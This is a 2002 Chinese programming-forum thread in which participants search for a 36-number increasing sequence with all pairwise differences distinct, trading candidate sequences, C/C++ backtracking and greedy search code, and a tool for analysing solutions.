最终只要递推就可以，总的算法是先得到符合条件的35个差数，最终就能得到36个数字序列。令当前递推到的差数是a,共递推出n个差数，现在递推第n+1个差数，首先该差数取a+1,然后在前n个差数中验证是否能取，不能取则取a+2，直到能取为止。那么怎么才算可取差数呢？就是前n个差数任意个连续的差数之和不能和要取的差数相同。可以从2个开始，一直取到n个。比如例子中的差数序列1，2，4，5，8。1+2=3，2+4=6，4+5=9，5+8=13，1+2+4=7，2+4+5=11，4+5+8=17，1+2+4+5=12，2+4+5+8=19，1+2+4+5+8=20，很显然下个差数取10。

*******************************************************************

算法思路就是这样不用穷举法，再加优化处理，比如算差数10的时候，不必要算1+2=3，我想秒级，甚至毫秒级就能算出答案来,因为下一个差数验证，只要有倒数第二个差数参与就可以了。

Top

回复人： mathe() ( ) 信誉：100 2002-8-20 17:14:28 得分:0

1,3,8,16,30,53,78,104,137,190,237,294,322,420,514,622,657,803,947,1030,1085,1161,1279,1352,1384,1418,1476,1507,1545,1563,1587,1606,1617,1623,1626,1627

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-20 17:16:28 得分:0

laozi,

如果我没有理解错，你讲的就是我们所说的贪心构造，大多数人都这么做过了，得到的是2029.

这个方法速度是不用怀疑的，问题是这样得到的解不能让人满意。

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-20 17:20:18 得分:30

好，mathe兄也加入了。 这个解与当前最优解相同了，期待进一步突破。

Top

回复人： mathe() ( ) 信誉：100 2002-8-20 17:22:46 得分:0

1,3,8,16,30,53,78,104,137,190,237,294,322,437,492,590,718,762,827,933,1000,1041,1272,1345,1377,1411,1469,1500,1538,1556,1580,1599,1610,1616,1619,1620

Top

回复人： mathe() ( ) 信誉：100 2002-8-20 17:32:36 得分:0

1,3,8,16,30,53,78,104,137,190,237,294,322,447,526,542,694,788,859,961,1007,1187,1263,1336,1368,1402,1460,1491,1529,1547,1571,1590,1601,1607,1610,1611

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-20 17:44:14 得分:0

哇赛！ 用的是什么算法啊？

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-20 17:48:17 得分:0

mathe兄的解好像有个特点，小的差值分布在两头。

象这个：

2 5 8 14 23 25。。。。。。。。6 3 1

Top

回复人： mathe() ( ) 信誉：100 2002-8-20 18:14:20 得分:50

那是因为其他解没有时间去搜索，对于n=36,实在速度太慢了

Top

回复人： mathe() ( ) 信誉：100 2002-8-20 19:12:57 得分:0

1,3,8,16,30,53,78,104,137,190,237,294,322,549,647,702,873,885,982,1031,1077,1183,1254,1327,1359,1393,1451,1482,1520,1538,1562,1581,1592,1598,1601,1602

Top

回复人： laozi(老子) ( ) 信誉：100 2002-8-20 20:09:48 得分:0

看了mathe()的答案，我的想法是这道题可化为对35个差数的分析。

也就是使35个不同的数的序列的和最小，其条件是任意个连续的数之和都不能是35个数中一个数。

mathe()兄开阔了我们的思路。

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-20 20:29:21 得分:0

确实，学好数学(mathe)很重要的哟！

Top

回复人： gofor() ( ) 信誉：100 2002-8-20 23:03:00 得分:40

以下是我的试探算法，得到是最好结果是

1 2 4 8 13 30 38 82 100 141 154 164 197 212 243 285 361 385 412 462 587 634 648 753 857 924 943 1111 1149 1243 1259 1435 1518 1558 1593 1613

历时数小时。

const int u=10; //以下标u为界，其前面的元素采用回溯法，后面的元素采用贪婪法

const int maxn=36;

int m=1700; //存储目前等到的最好结果

bool a[10000];　//元素之差是否已存在

int b[maxn]={1}; //元素序列

bool found=false;

void f(int i)

{//已经放好b[i],求b[i+1]

int j,k;

if (i==u) {

for (j=i+1; j<maxn; j++) {

for (k=b[j-1]+1;k<m;k++){

for (i=0; i<j && !a[k-b[i]]; i++);

if (i>=j) {

b[j]=k;

for (i=0; i<j; i++) a[k-b[i]]=true;

break;

}

}

if (k>=m) break;

}

if (k<m) {

m=k;

for (j=0; j<maxn; j++) cout<<b[j]<<' ';

cout<<endl;

}

for (i=0; i<m; i++) a[i]=false;

for (j=1; j<=u; j++)

for (k=0; k<j; k++)

a[b[j]-b[k]]=true;

return;

}

for (j=max(b[i]+1,i*(i+1)/2+1); j<b[i]+maxn+10/*此处可调整*/; j++) {

for (k=0; k<=i && !a[j-b[k]]; k++);

if (k>i) {//j无冲突

b[i+1]=j;

for (k=0; k<=i; k++) a[j-b[k]]=true; //mark

f(i+1);

for (k=0; k<=i; k++) a[j-b[k]]=false; //unmark

}

}

}

int main()

{

int i;

for (i=0; i<m; i++) a[i]=false;

f(0);

cout<<"end";

cin>>i;

}

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-20 23:13:53 得分:0

好！

这是我对mathe 1602解的分析结果：[solute to mathe, and gofor too]

the input solution is:

1 3 8 16 30 53 78 104 137 190 237 294 322 549 647 702 873 885 982 1031 1077 1183 1254 1327 1359 1393 1451 1482 1520 1538 1562 1581 1592 1598 1601 1602

and the adjacent differences are:

2 5 8 14 23 25 26 33 53 47 57 28 227 98 55 171 12 97 49 46 106 71 73 32 34 58 31 38 18 24 19 11 6 3 1

the options made at each step are:

2 4 5 9 14 14 13 15 22 22 20 12 112 50 23 74 4 24 11 9 16 10 7 2 1 3 1 1 1 1 1 1 1 1 1

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-20 23:16:12 得分:0

这是对gofor兄的次好结果1613的分析。

the input solution is:

1 2 4 8 13 30 38 82 100 141 154 164 197 212 243 285 361 385 412 462 587 634 648 753 857 924 943 1111 1149 1243 1259 1435 1518 1558 1593 1613

and the adjacent differences are:

1 2 4 5 17 8 44 18 41 13 10 33 15 31 42 76 24 27 50 125 47 14 105 104 67 19 168 38 94 16 176 83 40 35 20

the options made at each step are:

1 1 1 1 7 1 19 6 16 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-20 23:18:16 得分:0

这是我写的分析工具IUDA

//---------------------------------------------------------------------------

// IUDA - Increasing Uniqe Difference solution Analyer

// copyright alng 2002

//

// utility to analysis a solution to del_c_sharp's

// Increasing Unique Differences problem. [IUD]

//

// This program has not been extensively tested

// Bug reports is welcomed.

//

// usage: put a solution in a text file named

// IUDSol.txt in the same directory

// as this program, and run it

// The solution can be anything separated

// but make sure not to add row number, etc

//

#pragma hdrstop

#define _USE_OLD_RW_STL

// bitset of stlport seems buggy in c++builder 6,

// so use rw instead

#include <iostream>

#include <fstream>

#include <bitset>

#include <iterator>

#include <algorithm>

#include <numeric>

const size = 36, max_diff= 3000;

typedef std::bitset<max_diff> diff_set;

// 从输入文件当前位置起读入一个解[size 个无符号整数]

//

void read_solution(std::ifstream& inf,unsigned numbers[])

{

char c;

for(unsigned i=0; i<size; i++){

while( (c=inf.peek())<'1' || c>'9' )

inf.get(c);

inf>>numbers[i];

}

}

// 判断解的合法性

//

bool is_legal_solution(unsigned num[])

{

diff_set ds;

for(int i=0; i<size-1; i++)

for(int j=i+1; j<size; j++){

int diff =num[j]-num[i];

if(diff<=0)

// array passed to check are expected in ascending order!

return false;

if(ds[diff])

// there is a previous difference of diff

return false;

else

ds.set(diff);

}

return true;

}

// this struct is used to reduce calling parameters

//

struct aftp_param{

diff_set& ds;

unsigned *nums; // an array of 'size' element

unsigned position; // the position under examination

unsigned candidate; // the candidate to be examed;

aftp_param(diff_set& ads, unsigned *pnums):

ds(ads),nums(pnums){}

};

// return true if p.candidate is acceptable for p.pos

// and modify p.ds to reflect the acceptance

// of p.candidate if modify_ds is true;

// return false if otherwise and p.ds is untact

//

// [rem] this is a frequently used workhorse, so reduction

// in stack usage could be economic both in space

// and speed

//

bool acceptable_for_this_position(

aftp_param& p, bool modify_ds

){

int diff;

diff_set ds(p.ds);

for(unsigned i=0; i<p.position; i++){

// if candidate - p.nums[i] is already

// in ds, then candidate cannot be placed here

diff = p.candidate - p.nums[i];

if(diff<=0 || ds[diff])

return false;

ds.set(diff);

}

if(modify_ds) p.ds = ds;

return true;

}

// 在特定的位置上，nums给出的解究竟选取了第几个

// 可行[不产生冲突]的数，我称之为option number

// 这个向量对于刻画一个解可能比adjacent difference

// 更有力，所以要分析一个解，不能不考虑其options 向量

//

void get_opts(unsigned nums[],unsigned opts[])

{

diff_set ds;

unsigned opt;

aftp_param p(ds,nums);

unsigned diff;

for(unsigned i=1; i<size; i++){ //对每一个决策点

//diff = nums[i]-nums[i-1];

diff_set lds(ds);

p.position = i;

for(p.candidate=nums[i-1]+1,opt=1;

p.candidate != nums[i] ;

p.candidate++

){

if(acceptable_for_this_position(p,false))

opt++;

}

// call to modify p.ds

(void)acceptable_for_this_position(p,true);

opts[i] = opt;

}

}

#pragma argsused

int main(int argc, char* argv[])

{

unsigned numbers[size];

unsigned diffs[size];

unsigned opts[size];

// it's harmless to combine diffs and opts as one

// here I opt to differentiate them for readability

using namespace std;

ifstream inf("IUDSol.txt");

read_solution(inf,numbers);

if(!is_legal_solution(numbers)){

cout<<"this is not a good solution.";

return 1;

}

adjacent_difference(numbers,numbers+size,diffs);

cout<<"the input solution is:";

copy(numbers,numbers+size,

ostream_iterator<unsigned,char>(cout," ")

);

cout<<"the adjacent differences are:";

copy(diffs+1,diffs+size,

ostream_iterator<unsigned,char>(cout," ")

);

get_opts(numbers,opts);

cout<<"options made at each step are:";

copy(opts+1,opts+size,

ostream_iterator<unsigned,char>(cout," ")

);

cout<<endl;

return 0;

}

//---------------------------------------------------------------------------

Top

回复人： gofor() ( ) 信誉：100 2002-8-20 23:20:47 得分:0

这是我的穷举算法，目前算出当n=13时，最大数为107，历时10分钟。

const int maxn=36;

int n=1;

bool a[10000];

int b[maxn]={1};

int c[maxn]={1,2,4,7,12,18,26,35,45,56,73,86,107};

bool found=false;

void f(int i)

{//b[i]已放好，求b[i-1]

int j,x,y;

if (i==1) { //output b;

for (j=0; j<n; j++) cout<<b[j]<<' ';

cout<<endl;

c[n-1]=b[n-1];

found=true;

return;

}

y=c[i-1];

for (x = b[i]-1; x>=y; x--) {

for (j=i; j<n && !a[b[j]-x] && x-1!=b[j]-x; j++);

if (j>=n && !a[x-1]) {

b[i-1]=x;

for (j=i; j<n; j++) a[b[j]-x]=true; //mark

a[x-1]=true;

f(i-1);

for (j=i; j<n; j++) a[b[j]-x]=false; //unmark

a[x-1]=false;

if (found) return; //只求一个解

}

}

}

int main(int argc, char* argv[])

{

int i;

for (n=2; ;n++){

cout<<"n="<<n<<endl;

for (i=0; i<3000; i++) a[i]=false;

found = false;

for (b[n-1]=c[n-2]+n-1/*此处用到一个未经证明的假设，n-1改为1更严格，但速度慢些*/;!found; b[n-1]++) {

cout<<b[n-1]<<endl;

f(n-1);//注意进入函数f前，b[0]=1,b[n-1]均已放好

}

}

cout<<"end";

cin>>i;

}

Top

回复人： gofor() ( ) 信誉：100 2002-8-20 23:43:18 得分:0

ALNG，用你的分析工具分析mathe的结果不合适，但分析我的结果很对。

mathe的算法可能是先求出相临元素的差序列，再得出元素序列。在求差序列时，按递增次序，先放最前一个，再放最后一个；再放次最前，次最后；...交错进行，不断往中间靠，所以他的回溯也是从中间开始，由于规模太大，两端很难回溯到，其前12个，后14个均无变化。这种方法是有道理的，因为中间元素的间距比两端元素的间距大的概率要大些。

Top

回复人： gofor() ( ) 信誉：100 2002-8-21 0:08:29 得分:0

我试图发现一些解的分布规律时，发现这样的情况：

对n=12，最小的最大数是86，但不存在最大数为87~90的解序列，最大数为91时也仅有一对，为92时开始增多，有5对。

1 10 11 18 31 43 46 57 62 80 84 86

1 3 7 25 30 41 44 56 69 76 77 86

1 8 14 24 29 53 54 56 65 73 87 91

1 5 19 27 36 38 39 63 68 78 84 91

1 7 11 16 28 36 52 59 78 89 91 92

1 3 13 24 31 37 51 66 83 88 91 92

1 5 7 23 28 47 54 62 79 82 91 92

1 8 17 28 32 42 54 71 84 89 90 92

1 2 5 10 27 42 56 62 69 80 90 92

1 6 7 15 31 41 53 72 74 85 89 92

1 2 11 14 31 39 46 65 70 86 88 92

1 4 8 19 21 40 52 62 78 86 87 92

1 2 4 15 34 41 57 65 77 82 86 92

1 3 4 9 22 39 51 61 65 76 85 92

Top

回复人： mathe() ( ) 信誉：100 2002-8-21 7:35:48 得分:0

break through 1600

1,3,8,16,30,53,78,104,145,161,240,284,333,422,457,522,620,714,827,860,962,1053,1129,1214,1261,1320,1373,1404,1442,1460,1484,1503,1514,1520,1523,1524

Top

回复人： mathe() ( ) 信誉：100 2002-8-21 7:36:38 得分:0

Wa, near to 1500 now!

1,3,8,16,30,49,77,107,142,197,250,313,339,401,532,556,613,746,800,871,1041,1079,1121,1158,1236,1281,1330,1381,1413,1449,1465,1488,1499,1505,1508,1509

Top

回复人： mathe() ( ) 信誉：100 2002-8-21 7:43:10 得分:0

gofor说的很对，我是对差值成一个三角形形式然后进行分解，分解以后，搜索的顺序是从中间开始的。

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-21 8:41:45 得分:0

mathe加油！

gofor好样的，我要说的都被你说了。你的方法用我的工具一分析就很明白了，但是这种思路真的很不简单。应该是你的对偶规律的一个应用。

Top

回复人： mathe() ( ) 信誉：100 2002-8-21 8:46:51 得分:0

break through 1500

1,3,8,19,34,51,81,115,142,197,253,282,290,409,504,567,646,668,800,884,961,1044,1146,1159,1197,1272,1330,1389,1401,1429,1454,1475,1489,1495,1498,1499

Top

回复人： ywqzxj(午青) ( ) 信誉：100 2002-8-21 8:53:39 得分:0

厉害！加油！

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-21 9:00:30 得分:0

input solution:

1 3 8 16 30 53 78 104 145 161 240 284 333 422 457 522 620 714 827 860 962 1053 1129 1214 1261 1320 1373 1404 1442 1460 1484 1503 1514 1520 1523 1524

the options made at each step are:

2 4 5 9 14 14 13 21 4 29 18 18 33 11 14 25 22 26 6 12 10 9 5 3 3 1 1 1 1 1 1 1 1 1 1

input solution:

1 3 8 16 30 49 77 107 142 197 250 313 339 401 532 556 613 746 800 871 1041 1079 1121 1158 1236 1281 1330 1381 1413 1449 1465 1488 1499 1505 1508 1509

the options made at each step are:

2 4 5 9 11 16 15 15 26 22 26 10 16 49 6 8 34 14 10 31 8 2 1 5 4 1 1 2 1 1 1 1 1 1 1

Top

回复人： mathe() ( ) 信誉：100 2002-8-21 9:01:21 得分:0

1,3,8,19,36,55,87,95,151,213,251,306,332,389,474,581,596,716,837,994,1025,1059,1130,1203,1246,1283,1313,1374,1387,1416,1437,1462,1476,1482,1485,1486

And difference array:

2, 5, 11, 17, 19, 32, 8, 56, 62, 38, 55, 26, 57, 85, 107, 15, 120, 121, 157, 31, 34, 71, 73, 43, 37, 30, 61, 13, 29, 21, 25, 14, 6, 3, 1

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-21 9:10:54 得分:0

看起来lawrence兄的估计---最优解的最大值在1100左右是比较合理的。

mathe你好强啊！看起来数学的威力比CPU还要强啊！加油。

输入解:

1 3 8 16 30 53 78 104 145 161 240 284 333 422 457 522 620 714 827 860 962 1053 1129 1214 1261 1320 1373 1404 1442 1460 1484 1503 1514 1520 1523 1524

该解的路由选择如下:

2 4 5 9 14 14 13 21 4 29 18 18 33 11 14 25 22 26 6 12 10 9 5 3 3 1 1 1 1 1 1 1 1 1 1

输入解:

1 3 8 16 30 49 77 107 142 197 250 313 339 401 532 556 613 746 800 871 1041 1079 1121 1158 1236 1281 1330 1381 1413 1449 1465 1488 1499 1505 1508 1509

该解的路由选择如下:

2 4 5 9 11 16 15 15 26 22 26 10 16 49 6 8 34 14 10 31 8 2 1 5 4 1 1 2 1 1 1 1 1 1 1

输入解:

1 3 8 19 34 51 81 115 142 197 253 282 290 409 504 567 646 668 800 884 961 1044 1146 1159 1197 1272 1330 1389 1401 1429 1454 1475 1489 1495 1498 1499

该解的路由选择如下:

2 4 8 11 9 18 17 15 21 27 9 1 32 31 11 26 4 24 16 13 14 13 1 2 4 2 1 1 1 1 1 1 1 1 1

修改后的UDISA--解分析工具：[可一次性分析多个解。邻差没有多大意义，去掉了]

//---------------------------------------------------------------------------

// UDISA - Unique Differences Increasing Sequence solution Analyer

// copyright alng 2002

//

// utility to analysis a solution to del_c_sharp's

// Unique Differences Increasing Sequence problem. [UDIS]

//

// This program has not been extensively tested

// Bug report is welcomed.

//

// usage: put a solution in a text file named

// IUDSol.txt in the same directory

// as this program, and run it

// The solution can be anything separated

// but make sure not to add row number, etc

// mutiple solutions is accepted

//

#pragma hdrstop

#define _USE_OLD_RW_STL

// bitset of stlport seems buggy in c++builder 6,

// so use rw instead

#include <iostream>

#include <fstream>

#include <bitset>

#include <iterator>

#include <algorithm>

#include <numeric>

const size = 36, max_diff= 3000;

typedef std::bitset<max_diff> diff_set;

// 从输入文件当前位置起读入一个解[size 个无符号整数]

//

bool read_a_solution(std::ifstream& inf,unsigned numbers[])

{

char c;

for(unsigned i=0; i<size; i++){

while(!inf.eof() && (c=inf.peek())<'1' || c>'9' )

inf.get(c);

if(inf.eof())

return false;

inf>>numbers[i];

}

return true;

}

// 判断解的合法性

//

bool is_legal_solution(unsigned num[])

{

diff_set ds;

for(int i=0; i<size-1; i++)

for(int j=i+1; j<size; j++){

int diff =num[j]-num[i];

if(diff<=0 || ds[diff])

// array passed to check are expected in ascending order!

// or there is a previous difference of diff

return false;

else

ds.set(diff);

}

return true;

}

// this struct is used to reduce calling parameters

//

struct aftp_param{

diff_set& ds;

unsigned *nums; // an array of 'size' element

unsigned position; // the position under examination

unsigned candidate; // the candidate to be examed;

aftp_param(diff_set& ads, unsigned *pnums):

ds(ads),nums(pnums){}

};

// return true if p.candidate is acceptable for p.pos

// and modify p.ds to reflect the acceptance

// of p.candidate if modify_ds is true;

// return false if otherwise and p.ds is untact

//

// [rem] this is a frequently used workhorse, so reduction

// in stack usage could be economic both in space

// and speed

//

bool acceptable_for_this_position(

aftp_param& p, bool modify_ds

){

int diff;

diff_set ds(p.ds);

for(unsigned i=0; i<p.position; i++){

// if candidate - p.nums[i] is already

// in ds, then candidate cannot be placed here

diff = p.candidate - p.nums[i];

if(diff<=0 || ds[diff])

return false;

ds.set(diff);

}

if(modify_ds) p.ds = ds;

return true;

}

// 在特定的位置上，nums给出的解究竟选取了第几个

// 可行[不产生冲突]的数，我称之为option number

// 这个向量对于刻画一个解可能比adjacent difference

// 更有力，所以要分析一个解，不能不考虑其options 向量

//

void get_opts(unsigned nums[],unsigned opts[])

{

diff_set ds;

unsigned opt;

aftp_param p(ds,nums);

unsigned diff;

for(unsigned i=1; i<size; i++){ //对每一个决策点

//diff = nums[i]-nums[i-1];

p.position = i;

for(p.candidate=nums[i-1]+1,opt=1;

p.candidate != nums[i] ;

p.candidate++

){

if(acceptable_for_this_position(p,false))

opt++;

}

// call to modify p.ds

(void)acceptable_for_this_position(p,true);

opts[i] = opt;

}

}

#pragma argsused

int main(int argc, char* argv[])

{

unsigned numbers[size];

unsigned diffs[size];

unsigned opts[size];

// it's harmless to combine diffs and opts as one

// here I opt to differentiate them for readability

using namespace std;

ifstream inf("IUDSol.txt");

while(read_a_solution(inf,numbers)){

cout<<"输入解:";

copy(numbers,numbers+size,

ostream_iterator<unsigned,char>(cout," ")

);

cout<<endl;

if(!is_legal_solution(numbers)){

cout<<"这不是一个合法解.";

continue;

}

get_opts(numbers,opts);

cout<<"该解的路由选择如下:";

copy(opts+1,opts+size,

ostream_iterator<unsigned,char>(cout," ")

);

cout<<endl;

}

return 0;

}

//---------------------------------------------------------------------------

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-21 10:23:54 得分:0

增加了对解的对偶解的同时分析，这样看来mathe的方法很有特色，其解和对偶解很相似，头尾小，中间大，后6-10位差不多都是1, 这种对称性说明其解已经比较靠近最优解[？]。

输入解:

1 3 8 16 30 53 78 104 145 161 240 284 333 422 457 522 620 714 827 860 962 1053 1129 1214 1261 1320 1373 1404 1442 1460 1484 1503 1514 1520 1523 1524

该解的路由选择如下:

2 4 5 9 14 14 13 21 4 29 18 18 33 11 14 25 22 26 6 12 10 9 5 3 3 1 1 1 1 1 1 1 1 1 1

其对偶解的路由选择如下:

1 2 3 5 11 12 7 19 8 17 20 15 26 19 28 28 13 21 19 18 10 3 11 6 2 2 1 1 1 1 1 1 1 1 1

输入解:

1 3 8 16 30 49 77 107 142 197 250 313 339 401 532 556 613 746 800 871 1041 1079 1121 1158 1236 1281 1330 1381 1413 1449 1465 1488 1499 1505 1508 1509

该解的路由选择如下:

2 4 5 9 11 16 15 15 26 22 26 10 16 49 6 8 34 14 10 31 8 2 1 5 4 1 1 2 1 1 1 1 1 1 1

其对偶解的路由选择如下:

1 2 3 5 13 9 17 16 23 21 16 31 13 9 7 44 17 8 24 8 1 12 6 2 2 1 1 1 1 1 1 1 1 1 1

输入解:

1 3 8 19 34 51 81 115 142 197 253 282 290 409 504 567 646 668 800 884 961 1044 1146 1159 1197 1272 1330 1389 1401 1429 1454 1475 1489 1495 1498 1499

该解的路由选择如下:

2 4 8 11 9 18 17 15 21 27 9 1 32 31 11 26 4 24 16 13 14 13 1 2 4 2 1 1 1 1 1 1 1 1 1

其对偶解的路由选择如下:

1 2 3 8 13 13 14 5 22 25 32 14 2 24 21 20 15 33 3 7 9 6 13 1 1 2 1 1 1 1 1 1 1 1 1

输入解:

1 3 8 19 36 55 87 95 151 213 251 306 332 389 474 581 596 716 837 994 1025 1059 1130 1203 1246 1283 1313 1374 1387 1416 1437 1462 1476 1482 1485 1486

该解的路由选择如下:

2 4 8 12 11 21 2 24 31 17 21 8 13 23 29 6 22 26 37 10 6 6 4 4 1 1 1 1 1 1 1 1 1 1 1

其对偶解的路由选择如下:

1 2 3 8 15 13 13 7 21 10 10 9 18 16 5 4 31 29 24 4 12 14 5 1 1 1 1 1 1 1 1 1 1 1 1

作为对比，看看gofor兄用另外一种也很有创造性的中间搜索法得到两组也比较好的解，其解和对偶解明显不对称:

输入解:

1 5 7 8 32 46 51 61 69 81 103 136 162 194 241 277 328 391 400 497 567 615 699 788 809 909 991 1077 1090 1155 1275 1291 1433 1510 1604 1632

该解的路由选择如下:

4 2 1 17 8 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1

其对偶解的路由选择如下:

28 93 76 136 16 110 56 12 67 56 68 12 48 42 20 25 28 3 15 7 5 5 2 5 1 1 1 1 1 1 1 1 1 1 1

输入解:

1 2 4 8 13 21 31 45 79 105 143 188 230 245 270 298 350 383 404 476 552 625 684 706 802 852 888 1012 1111 1162 1375 1422 1483 1539 1578 1627

该解的路由选择如下:

1 1 1 1 1 1 1 8 6 9 8 9 1 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1

其对偶解的路由选择如下:

49 39 53 57 44 189 48 84 98 32 35 61 11 28 36 34 28 6 8 6 4 3 1 1 1 1 1 1 1 1 1 1 1 1 1

Top

回复人： gofor() ( ) 信誉：100 2002-8-21 12:45:18 得分:0

我们等待mathe贴出完整程序

Top

回复人： mathe() ( ) 信誉：100 2002-8-21 13:11:25 得分:0

//This is one version of my code,

//I have used several versions.

//Since the it is impossible for computer to search all possible combination,

//I suggest you adding some other hints to constrain the searching space.

//In the following code, only a step is used so that each branch will only search for 2 most possible number.

#include <stdio.h>

#define MAX_SUM 10000

#include <stdio.h>

#define MAX_N 50

#define MAX_SUM 10000

char sum[MAX_N][MAX_SUM];

char dif[MAX_N][MAX_SUM];

int left[MAX_N];

int right[MAX_N];

int depth;

int max_n[MAX_N];

int l_index,r_index;

int n;

int dir;

int max_sum;

void init(){

int i,j;

memset(sum,0,sizeof(sum));

memset(dif,0,sizeof(dif));

memset(left,0,sizeof(left));

memset(right,0,sizeof(right));

memset(max_n,0,sizeof(max_n));

l_index=r_index=0;

dir=1;

sum[0][0]=1;

dif[0][0]=1;

max_sum=2*n*n;

depth=0;

if(max_sum>=MAX_SUM)

max_sum=MAX_SUM-1;

#if 0

left[0]=1;

left[1]=4;

left[2]=13;

left[3]=28;

right[0]=2;

right[1]=8;

right[2]=18;

right[3]=25;

l_index=r_index=4;

for(i=0;i<l_index;i++)for(j=0;j<r_index;j++){

int cur_sum=left[i]+right[j];

if(cur_sum>max_n[0])max_n[0]=cur_sum;

sum[0][cur_sum]=1;

}

for(i=0;i<l_index;i++)for(j=0;j<i;j++){

int cur_dif=left[i]-left[j];

dif[0][cur_dif]=1;

}

for(i=0;i<r_index;i++)for(j=0;j<i;j++){

int cur_dif=right[i]-right[j];

dif[0][cur_dif]=1;

}

#endif

}

void check_result(){

int i,j;

int t=left[l_index-1]+right[r_index-1];

if(t>max_sum)

return;

if(t<max_n[depth])return;//in fact, array max_n does not needed anymore.

for(i=l_index;i<n-2;i++){

left[i]=t - right[n-3-i];

if(left[i]<=0)return;

if(sum[depth][left[i]])//invalid

return;

sum[depth][left[i]]=1;

for(j=0;j<n-3-i;j++){

if(left[i]+right[j]>=t)

return;

if(sum[depth][left[i]+right[j]])

return;

sum[depth][left[i]+right[j]]=1;

}

}

for(i=r_index;i<n-2;i++){

right[i]=t - left[n-3-i];

if(right[i]<=0)return;

if(sum[depth][right[i]])

return;

sum[depth][right[i]]=1;

for(j=0;j<n-3-i;j++){

if(right[i]+left[j]>=t)

return;

if(sum[depth][right[i]+left[j]])

return;

sum[depth][right[i]+left[j]]=1;

}

}

//a valid result found

printf("%d(%d)",n,t);

j=n-3;

for(i=0;i<n-3-j;i++)printf(" ");

printf("%4d",t-left[j]);

for(i=1;i<=j;i++){

printf(",%4d",t-left[j-i]-right[i-1]);

}

printf(",%4d",t-right[j]);

j=1;

printf("%d",j);

for(i=0;i<=n-3;i++){

j+=t-left[n-3-i]-right[i-1];

printf(",%d",j);

}

j+=t-right[n-3];

printf(",%d",j);

fflush(stdout);

max_sum=t;

}

int exist_better(){

int left_count=n-1-l_index-r_index;

int prev=0;

int i,t;

if(l_index+r_index<=3)

return 1;

if(left_count<=1)return 1;

if(l_index>0)prev=left[l_index-1];

if(r_index>0&&prev<right[r_index-1])prev=right[r_index-1];

for(i=prev+1,t=0;i<max_sum;i++){

if(!sum[l_index+r_index][i]&&!dif[l_index+r_index][i]){

t++;

if(t==left_count-1)prev=i;

else if(t==left_count)

return t+prev<=max_sum;

}

}

return 0;

}

void search(){

// if(!exist_better())

// return;

if(dir<2){

int i,j;

int start;

int step=0;

l_index++;

depth++;

dir++;

if(l_index<=1)start=1;

else start=left[l_index-2]+1;

for(i=start;i<max_sum;i++){

if(sum[depth-1][i])continue;

if(dif[depth-1][i])continue;

for(j=0;j<r_index;j++){

if(i+right[j]>max_sum){

dir--;

l_index--;

depth--;

return;

}

if(sum[depth-1][i+right[j]])break;

}

if(j<r_index)continue;

for(j=0;j<l_index-1;j++){

if(dif[depth-1][i-left[j]])

break;

}

if(j<l_index-1)continue;

step++;

memcpy(sum[depth],sum[depth-1],sizeof(sum[0][0])*max_sum);

memcpy(dif[depth],dif[depth-1],sizeof(dif[0][0])*max_sum);

max_n[depth]=max_n[depth-1];

sum[depth][i]=1;

if(i>max_n[depth])

max_n[depth]=i;

for(j=0;j<r_index;j++){

sum[depth][i+right[j]]=1;

if(i+right[j]>max_n[depth])

max_n[depth]=i+right[j];

}

dif[l_index+r_index][i]=1;

for(j=0;j<l_index-1;j++){

dif[depth][i-left[j]]=1;

}

left[l_index-1]=i;

if(l_index+r_index==n-1){

check_result();

}else

search();

if(l_index+r_index!=n-1&&step==2)//do not constrain on step if we want to search for optimal result

break;

}

dir--;

l_index--;

depth--;

}else{

int i,j;

int start;

int step=0;

r_index++;

depth++;

dir++;

dir&=3;

if(r_index<=1)start=0;

else start=right[r_index-2]+1;

for(i=start;i<max_sum;i++){

if(sum[depth-1][i])continue;

if(dif[depth-1][i])continue;

for(j=0;j<l_index;j++){

if(i+left[j]>max_sum){

dir--;

dir&=3;

r_index--;

depth--;

return;

}

if(sum[depth-1][i+left[j]])break;

}

if(j<l_index)continue;

for(j=0;j<r_index-1;j++){

if(dif[depth-1][i-right[j]])break;

}

if(j<r_index-1)continue;

step++;

memcpy(sum[depth],sum[depth-1],sizeof(sum[0][0])*max_sum);

memcpy(dif[depth],dif[depth-1],sizeof(dif[0][0])*max_sum);

max_n[depth]=max_n[depth-1];

sum[depth][i]=1;

if(i>max_n[depth])

max_n[depth]=i;

for(j=0;j<l_index;j++){

sum[depth][i+left[j]]=1;

if(i+left[j]>max_n[depth])

max_n[depth]=i+left[j];

}

dif[depth][i]=1;

for(j=0;j<r_index-1;j++){

dif[depth][i-right[j]]=1;

}

right[r_index-1]=i;

if(l_index+r_index==n-1){

check_result();

}else

search();

if(l_index+r_index!=n-1&&step==2)

break;

}

dir--;

dir&=3;

r_index--;

depth--;

}

}

void main(){

n=36;

{

init();

search();

}

}

Top

回复人： mathe() ( ) 信誉：100 2002-8-21 13:15:35 得分:0

The following is all solution I found less than 1500

1,3,8,19,34,51,81,115,142,197,253,282,290,409,504,567,646,668,800,884,961,1044,1146,1159,1197,1272,1330,1389,1401,1429,1454,1475,1489,1495,1498,1499

1,3,8,16,30,53,78,127,158,192,249,295,333,384,505,564,605,754,766,839,951,998,1074,1176,1234,1289,1324,1390,1416,1434,1458,1477,1488,1494,1497,1498

1,3,8,16,30,53,79,141,153,199,267,301,352,383,442,511,546,723,820,836,1010,1043,1085,1165,1197,1264,1321,1362,1400,1428,1453,1472,1483,1489,1492,1493

1,3,8,16,30,53,78,104,172,206,241,298,356,388,464,547,631,664,832,911,955,1060,1088,1174,1220,1273,1329,1360,1409,1427,1451,1470,1481,1487,1490,1491

1,3,8,19,36,55,87,95,151,213,251,306,332,389,474,581,596,716,837,994,1025,1059,1130,1203,1246,1283,1313,1374,1387,1416,1437,1462,1476,1482,1485,1486

